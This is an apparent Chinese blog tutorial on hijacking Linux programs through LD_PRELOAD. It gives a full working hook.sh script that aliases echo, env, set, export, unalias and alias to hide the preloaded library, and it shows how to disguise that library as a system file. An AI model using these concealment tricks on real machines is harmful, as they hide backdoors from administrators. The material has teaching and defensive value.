Linux平台使用LD_PRELOAD劫持和注入程序

原创 Linux二进制 2024-05-30 08:20

Linux 平台下,涉及动态链接的程序,在程序启动时,首先运行的是动态链接器(runtime dynamic linker),检查程序所需要的动态库文件并加载到进程的虚拟地址空间,然后才将控制权交给程序入口。

前言

一般来说,程序的链接分为静态链接动态链接静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中,动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行时链接。

所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

当然,凡事都需要辩证的看,有好就有坏,有得就有失。动态链接 所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程。那么,你的程序也就被人 劫持 了。

拓展Linux 平台,可执行程序的动态库加载优先级如下:

  1. LD_PRELOAD

  2. LD_LIBRARY_PATH

  3. /etc/ld.so.cache

  4. /lib

  5. /usr/lib。

我们知道 Linux 系统的命令基本都用到了 glibc 库,生成了有一个叫 libc.so.6 的文件,这是几乎所有 Linux 系统下命令的动态链接库,其中有标准 C 的各种函数。对于 GCC 而言,默认情况下,所编译的程序中对标准 C 函数的链接,都是通过动态链接方式来链接 libc.so.6 这个函数库的。

LD_PRELOAD

LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序运行时的链接(Runtime linker)顺序,它允许程序运行时优先加载指定的动态链接库,主要是用来有选择性的载入不同动态链接库中的相同函数,因此,这个机制可以被用来劫持程序。并且由于 全局符号介入机制 的影响,LD_PRELOAD 指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数

通过LD_PRELOAD,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),另一方面,我们也可以向别人的程序注入我们的程序,从而达到特定的目的。

本文记录了如何通过 LD_PRELOAD 环境变量来 hook 程序,达到植入后门和调试的目的。

拓展:全局符号介入

全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

动态链接库 Hook

由于 LD_PRELOAD 可以在程序运行前指定优先加载的动态链接库,因此,我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过 LD_PRELOAD 让程序优先加载这个"恶意"的动态链接库,最后,当程序再次运行时便会加载动态链接库中的“恶意”函数。具体的操作步骤如下:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等。
  2. 将包含替换函数的源码编译为动态链接库。
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换的动态链接库即可。
  4. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除。

注意:第 3 步有如下两种方式可选,使用哪种方式均可。

# 指定的链接库只对紧接在后面的程序生效$ LD_PRELOAD=$PWD/hook.so ./executable
# 定义环境变量则对后续命令都生效$ export LD_PRELOAD=$PWD/hook.so

下面我们通过一个简单的实例进行演示:

/*  random_num.c */#include #include #include 
int main() { srand(time(NULL)); int i = 10; while(i--) printf("%d\n", rand()%100); return 0;}

我不使用任何参数来编译它,如下所示:

gcc random_num.c -o random_num

我希望它输出的结果是明确的:从 0-99 中选择的十个随机数字,希望每次你运行这个程序时它的输出都不相同。

[root@localhost rand]# ./random_num57814089841367803145

默认情况下,gcc 编译采用动态链接,rand() 这个标准 C 库接口来自 libc.so.6

现在,让我们假装真的不知道这个可执行程序的出处。甚至将它的源文件删除,或者把它移动到别的地方 —— 我们已不再需要它了。我们将对这个程序的行为进行重大的修改,而你并不需要接触到它的源代码,也不需要重新编译它。

因此,让我们来创建另外一个简单的 C 文件 hook.c

int rand() {    // the most random number in the universe    return 10;}

我们将它编译进一个共享库中:

gcc -shared -fPIC hook.c -o hook.so

编译生成我自己定义的动态链接库 hook.so,并通过 LD_PRELOAD 设置替换成我刚编译的动态链接库 hook.so

现在我们已经有了一个可以输出一些随机数的应用程序,和一个定制的动态库,它使用一个常数值 10 实现了一个 rand() 函数。现在让我们就像运行 random_num 一样,然后再观察结果:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ./random_num10101010101010101010

如果你想偷懒或者不想自动亲自动手(或者不知什么原因猜不出发生了什么),我来告诉你 —— 它输出了十次常数 10

如果先这样执行:

export LD_PRELOAD=$PWD/hook.so

然后再以正常方式运行这个程序,这个结果也许会更让你吃惊:一个未被改变过的应用程序在一个正常的运行方式中,结果就轻易的被我们篡改了……

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ./random_num10101010101010101010

当我们的程序启动后,为程序提供所需要的函数的某些库被加载。我们可以使用 ldd 去学习它是怎么工作的:

[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007fffa2df3000)        libc.so.6 => /lib64/libc.so.6 (0x00007fed34c21000)        /lib64/ld-linux-x86-64.so.2 (0x00007fed34fe6000)

它列出了被程序 random_num 所需要的库的列表。这个列表是构建进可执行程序中的,并且它是在编译时决定的。在你的机器上的具体的输出可能与示例有所不同,但是,一个 libc.so 肯定是有的 —— 这个文件提供了核心的 C 函数。它包含了 “真正的” rand()

我使用下列的命令可以得到一个全部的函数列表,我们看一看 libc 提供了哪些函数:

nm -D /lib/libc.so.6

这个 nm 命令列出了在一个二进制文件中找到的符号。-D 标志告诉它去查找动态符号,因为 libc.so.6 是一个动态库。这个输出是很长的,但它确实在列出的很多标准函数中包括了 rand()

[root@localhost rand]# nm -D /lib/libc.so.6 | grep -w rand000365e0 T rand

现在,在我们设置了环境变量 LD_PRELOAD 后发生了什么?这个变量为一个程序强制加载一些动态库。在我们的案例中,它为 random_num 加载了 hook.so,尽管程序本身并没有这样去要求它。下列的命令可以看得出来:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ldd random_num        linux-vdso.so.1 (0x00007fffbcad0000)        /tmp/rand/hook.so (0x00007fc662acc000)        libc.so.6 => /lib64/libc.so.6 (0x00007fc662707000)        /lib64/ld-linux-x86-64.so.2 (0x00007fc662cce000)

或者通过如下命令也可:

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

注意,它列出了我们当前的库。实际上这就是代码为什么得以运行的原因:random_num 调用了 rand(),但是,如果 hook.so 被加载,它调用的是我们自定义动态库中所提供的rand() 函数。

至此,我们通过LD_PRELOAD劫持和注入程序的方法就成功了。但是,只讲到这里大家有没有发现一个问题,如果只操作到这里,那么就很容易被人发现我们植入的后门。有没有什么办法能避免轻易本人发现并识别出来呢,接下来让我们一起学习下。

隐藏痕迹

如果检查环境变量 LD_PRELOAD 是否有值,就可以捕捉到蛛丝马迹

[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# echo $LD_PRELOAD/tmp/rand/hook.so

有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias 命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。

隐藏echo

使用 alias 命令将 echo 定义别名

alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'

首先查看环境变量 LD_PRELOAD 是没有值的,用 export 进行设置后,echo 就能看到 $LD_PRELOAD 的值了,接着用 alias 将 echo 定义别名,使得 echo 命令输出的字符串如果包含 /tmp/rand/hook.so 就给替换为空格,实验效果如下:

[root@localhost rand]# alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

原理】:首先定义一个 func 函数,最后执行 func 函数中的内容;echo $* 会输出 echo 命令传进来的所有参数;sed 是一个非交互性文本流编辑器,s 参数表示替换,! 作为定界符(正常的分隔符是用 / ,但是避免路径中 / 的干扰,这里选择用 ! 作为定界符),g 表示全局替换。

隐藏env

env 输出环境变量时,如果 LD_PRELOAD 的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD 设置值之后,就能查看到一行关于这个变量的信息(如下)

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LD_PRELOAD=/tmp/rand/hook.soLESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

这里采用的思路是用 grep -v 来过滤掉,grep -v 指的是反转匹配。因此使用如下命令,将 env 定义别名,将除去字符串 /tmp/rand/hook.so 的内容都输出

alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'

观察下图能发现,最初 env 命令是成功输出了 LD_PRELOAD 环境变量的,但定义 env 别名后,再出执行 env 就已经看不到 LD_PRELOAD 环境变量了。

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

隐藏set

隐藏 set 命令输出的环境变量和 env 同理。

alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# set | grep LDLD_PRELOAD=/tmp/rand/hook.soOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";[root@localhost rand]# alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# set | grep LDOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";

隐藏export

export 命令的隐藏也是同理。

alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# export | grep LDdeclare -x LD_PRELOAD="/tmp/rand/hook.so"declare -x OLDPWD="/root"[root@localhost rand]# alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# export | grep LDdeclare -x OLDPWD="/root"

隐藏unalias

接下来是对 alias 和 unalias 命令进行处理。

用 alias 可以查询到对 env 命令做了别名定义,对其使用 unalias 命令删除是可以成功的,如果没有别名的话,用 unalias 删除时应该是报错 -bash: unalias: xx: not found(实验机器为 CentOS Stream release 8,不同版本的机器上这个错误信息可能不一样)。

[root@localhost rand]# alias | grep envalias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# unalias env[root@localhost rand]# unalias env-bash: unalias: env: not found

然后对 unalias 命令进行一下别名定义,希望在识别到参数为 env echo  export alias unalias 的时候都输出报错 -bash: unalias: xx: not found ,这样就造成了一种这些命令并没有被别名的假象。

shell 脚本如下,代码很容易理解,就是用了两个 if 语句确保 unalias 造成一种假象

alias unalias='func() {  if [ $# != 0 ]; then    if [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; then      unalias $*    else      echo "-bash: unalias: ${*}: not found"    fi  else    echo "unalias: not enough arguments"  fi}; func'

执行 alias 命令如下,对 unalias 定义别名

alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'

隐藏alias

如果用 alias 命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias 做一个别名,伪造的方法和隐藏 export set 的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias (避免被看出来 unalias 命令做过手脚)

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

汇总上面的命令,编写 shell 脚本 hook.sh 如下:

export LD_PRELOAD=$PWD/hook.so alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func' alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func' alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func' alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func' alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func' alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

将其执行后,调用 random_num 可以看到下图中已经触发了自定义的 hook 动态库,并且用各种方法检查环境变量 LD_PRELOAD 发现一切正常,如下所示:

[root@localhost rand]# source hook.sh[root@localhost rand]# ./random_num10101010101010101010[root@localhost rand]# env | grep LD_PRELOAD[root@localhost rand]# export | grep LD_PRELOAD[root@localhost rand]# set | grep LD_PRELOAD[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

可能有的人会说,你隐藏了那么多,但是 ldd 一下不还是会露馅么,不信你看:

  [root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

确实,ldd 会显示链接的动态库,如果你像 /tmp/rand/hook.so 这样命名路径和动态库,可能的确会轻易的被发现,但是我们可以伪装成一个系统库,就不容易被发现了,如下:

[root@localhost rand]# gcc -shared -fPIC hook.c -o /lib64/libcx.so[root@localhost rand]# export LD_PRELOAD=/lib64/libcx.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd0ebc8000)        /lib64/libcx.so (0x00007f63b2e38000)        libc.so.6 => /lib64/libc.so.6 (0x00007f63b2a73000)        /lib64/ld-linux-x86-64.so.2 (0x00007f63b303a000)

如果你不仔细研究,是不是就不会发现异常,这样就基本可以蒙混过关了。

至此,使用 LD_PRELOAD 劫持和注入程序就全部介绍完了。

特此说明:本文只作为参考学习使用,请勿用作其它非法用途。


Linux二进制 Linux编程、内核模块、网络原创文章分享,欢迎关注"Linux二进制"微信公众号
评论
  • 在智能家居领域中,Wi-Fi、蓝牙、Zigbee、Thread与Z-Wave等无线通信协议是构建短距物联局域网的关键手段,它们常在实际应用中交叉运用,以满足智能家居生态系统多样化的功能需求。然而,这些协议之间并未遵循统一的互通标准,缺乏直接的互操作性,在进行组网时需要引入额外的网关作为“翻译桥梁”,极大地增加了系统的复杂性。 同时,Apple HomeKit、SamSung SmartThings、Amazon Alexa、Google Home等主流智能家居平台为了提升市占率与消费者
    华普微HOPERF 2025-01-06 17:23 145浏览
  • 彼得·德鲁克被誉为“现代管理学之父”,他的管理思想影响了无数企业和管理者。然而,关于他的书籍分类,一种流行的说法令人感到困惑:德鲁克一生写了39本书,其中15本是关于管理的,而其中“专门写工商企业或为企业管理者写的”只有两本——《为成果而管理》和《创新与企业家精神》。这样的表述广为流传,但深入探讨后却发现并不完全准确。让我们一起重新审视这一说法,解析其中的矛盾与根源,进而重新认识德鲁克的管理思想及其著作的真正价值。从《创新与企业家精神》看德鲁克的视角《创新与企业家精神》通常被认为是一本专为企业管
    优思学院 2025-01-06 12:03 116浏览
  • 村田是目前全球量产硅电容的领先企业,其在2016年收购了法国IPDiA头部硅电容器公司,并于2023年6月宣布投资约100亿日元将硅电容产能提升两倍。以下内容主要来自村田官网信息整理,村田高密度硅电容器采用半导体MOS工艺开发,并使用3D结构来大幅增加电极表面,因此在给定的占位面积内增加了静电容量。村田的硅技术以嵌入非结晶基板的单片结构为基础(单层MIM和多层MIM—MIM是指金属 / 绝缘体/ 金属) 村田硅电容采用先进3D拓扑结构在100um内,使开发的有效静电容量面积相当于80个
    知白 2025-01-07 15:02 75浏览
  • 根据Global Info Research项目团队最新调研,预计2030年全球封闭式电机产值达到1425百万美元,2024-2030年期间年复合增长率CAGR为3.4%。 封闭式电机是一种电动机,其外壳设计为密闭结构,通常用于要求较高的防护等级的应用场合。封闭式电机可以有效防止外部灰尘、水分和其他污染物进入内部,从而保护电机的内部组件,延长其使用寿命。 环洋市场咨询机构出版的调研分析报告【全球封闭式电机行业总体规模、主要厂商及IPO上市调研报告,2025-2031】研究全球封闭式电机总体规
    GIRtina 2025-01-06 11:10 104浏览
  • 根据环洋市场咨询(Global Info Research)项目团队最新调研,预计2030年全球无人机锂电池产值达到2457百万美元,2024-2030年期间年复合增长率CAGR为9.6%。 无人机锂电池是无人机动力系统中存储并释放能量的部分。无人机使用的动力电池,大多数是锂聚合物电池,相较其他电池,锂聚合物电池具有较高的能量密度,较长寿命,同时也具有良好的放电特性和安全性。 全球无人机锂电池核心厂商有宁德新能源科技、欣旺达、鹏辉能源、深圳格瑞普和EaglePicher等,前五大厂商占有全球
    GIRtina 2025-01-07 11:02 68浏览
  • 每日可见的315MHz和433MHz遥控模块,你能分清楚吗?众所周知,一套遥控设备主要由发射部分和接收部分组成,发射器可以将控制者的控制按键经过编码,调制到射频信号上面,然后经天线发射出无线信号。而接收器是将天线接收到的无线信号进行解码,从而得到与控制按键相对应的信号,然后再去控制相应的设备工作。当前,常见的遥控设备主要分为红外遥控与无线电遥控两大类,其主要区别为所采用的载波频率及其应用场景不一致。红外遥控设备所采用的射频信号频率一般为38kHz,通常应用在电视、投影仪等设备中;而无线电遥控设备
    华普微HOPERF 2025-01-06 15:29 125浏览
  • 这篇内容主要讨论三个基本问题,硅电容是什么,为什么要使用硅电容,如何正确使用硅电容?1.  硅电容是什么首先我们需要了解电容是什么?物理学上电容的概念指的是给定电位差下自由电荷的储藏量,记为C,单位是F,指的是容纳电荷的能力,C=εS/d=ε0εrS/4πkd(真空)=Q/U。百度百科上电容器的概念指的是两个相互靠近的导体,中间夹一层不导电的绝缘介质。通过观察电容本身的定义公式中可以看到,在各个变量中比较能够改变的就是εr,S和d,也就是介质的介电常数,金属板有效相对面积以及距离。当前
    知白 2025-01-06 12:04 170浏览
  • 大模型的赋能是指利用大型机器学习模型(如深度学习模型)来增强或改进各种应用和服务。这种技术在许多领域都显示出了巨大的潜力,包括但不限于以下几个方面: 1. 企业服务:大模型可以用于构建智能客服系统、知识库问答系统等,提升企业的服务质量和运营效率。 2. 教育服务:在教育领域,大模型被应用于个性化学习、智能辅导、作业批改等,帮助教师减轻工作负担,提高教学质量。 3. 工业智能化:大模型有助于解决工业领域的复杂性和不确定性问题,尽管在认知能力方面尚未完全具备专家级的复杂决策能力。 4. 消费
    丙丁先生 2025-01-07 09:25 80浏览
  • 本文介绍Linux系统更换开机logo方法教程,通用RK3566、RK3568、RK3588、RK3576等开发板,触觉智能RK3562开发板演示,搭载4核A53处理器,主频高达2.0GHz;内置独立1Tops算力NPU,可应用于物联网网关、平板电脑、智能家居、教育电子、工业显示与控制等行业。制作图片开机logo图片制作注意事项(1)图片必须为bmp格式;(2)图片大小不能大于4MB;(3)BMP位深最大是32,建议设置为8;(4)图片名称为logo.bmp和logo_kernel.bmp;开机
    Industio_触觉智能 2025-01-06 10:43 87浏览
  • By Toradex 秦海1). 简介嵌入式平台设备基于Yocto Linux 在开发后期量产前期,为了安全以及提高启动速度等考虑,希望将 ARM 处理器平台的 Debug Console 输出关闭,本文就基于 NXP i.MX8MP ARM 处理器平台来演示相关流程。 本文所示例的平台来自于 Toradex Verdin i.MX8MP 嵌入式平台。  2. 准备a). Verdin i.MX8MP ARM核心版配合Dahlia载板并
    hai.qin_651820742 2025-01-07 14:52 44浏览
我要评论
0
点击右上角,分享到朋友圈 我知道啦
请使用浏览器分享功能 我知道啦